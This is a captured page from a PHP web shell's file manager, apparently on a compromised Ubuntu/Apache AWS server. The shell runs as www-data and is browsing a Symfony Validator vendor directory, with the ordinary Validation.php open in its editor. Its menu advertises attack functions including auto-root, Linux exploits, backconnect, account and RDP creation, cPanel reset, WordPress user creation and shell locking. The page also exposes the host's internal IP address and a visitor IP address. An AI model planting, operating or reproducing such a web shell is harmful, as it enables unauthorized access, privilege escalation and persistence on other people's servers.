Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 216.73.216.166
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
boaz /
vendor /
symfony /
validator /
[ HOME SHELL ]
Name
Size
Permission
Action
Constraints
[ DIR ]
drwxrwxr-x
Context
[ DIR ]
drwxrwxr-x
DataCollector
[ DIR ]
drwxrwxr-x
DependencyInjection
[ DIR ]
drwxrwxr-x
Exception
[ DIR ]
drwxrwxr-x
Mapping
[ DIR ]
drwxrwxr-x
Resources
[ DIR ]
drwxrwxr-x
Test
[ DIR ]
drwxrwxr-x
Util
[ DIR ]
drwxrwxr-x
Validator
[ DIR ]
drwxrwxr-x
Violation
[ DIR ]
drwxrwxr-x
CHANGELOG.md
15.64
KB
-rw-rw-r--
Constraint.php
9.6
KB
-rw-rw-r--
ConstraintValidator.php
4.74
KB
-rw-rw-r--
ConstraintValidatorFactory.php
1.22
KB
-rw-rw-r--
ConstraintValidatorFactoryInte...
709
B
-rw-rw-r--
ConstraintValidatorInterface.p...
769
B
-rw-rw-r--
ConstraintViolation.php
4.93
KB
-rw-rw-r--
ConstraintViolationInterface.p...
4.14
KB
-rw-rw-r--
ConstraintViolationList.php
3.76
KB
-rw-rw-r--
ConstraintViolationListInterfa...
1.55
KB
-rw-rw-r--
ContainerConstraintValidatorFa...
1.95
KB
-rw-rw-r--
GroupSequenceProviderInterface...
685
B
-rw-rw-r--
LICENSE
1.04
KB
-rw-rw-r--
ObjectInitializerInterface.php
806
B
-rw-rw-r--
README.md
584
B
-rw-rw-r--
Validation.php
2.25
KB
-rw-rw-r--
ValidatorBuilder.php
11.4
KB
-rw-rw-r--
composer.json
2.73
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Validation.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Validator; use Symfony\Component\Validator\Exception\ValidationFailedException; use Symfony\Component\Validator\Validator\ValidatorInterface; /** * Entry point for the Validator component. * * @author Bernhard Schussek <bschussek@gmail.com> */ final class Validation { /** * Creates a callable chain of constraints. * * @param Constraint|ValidatorInterface|null $constraintOrValidator */ public static function createCallable($constraintOrValidator = null, Constraint ...$constraints): callable { $validator = $constraintOrValidator; if ($constraintOrValidator instanceof Constraint) { $constraints = \func_get_args(); $validator = null; } elseif (null !== $constraintOrValidator && !$constraintOrValidator instanceof ValidatorInterface) { throw new \TypeError(sprintf('Argument 1 passed to "%s()" must be a "%s" or a "%s" object, "%s" given.', __METHOD__, Constraint::class, ValidatorInterface::class, get_debug_type($constraintOrValidator))); } $validator = $validator ?? self::createValidator(); return static function ($value) use ($constraints, $validator) { $violations = $validator->validate($value, $constraints); if (0 !== $violations->count()) { throw new ValidationFailedException($value, $violations); } return $value; }; } /** * Creates a new validator. * * If you want to configure the validator, use * {@link createValidatorBuilder()} instead. */ public static function createValidator(): ValidatorInterface { return self::createValidatorBuilder()->getValidator(); } /** * Creates a configurable builder for validator objects. */ public static function createValidatorBuilder(): ValidatorBuilder { return new ValidatorBuilder(); } /** * This class cannot be instantiated. */ private function __construct() { } }
Close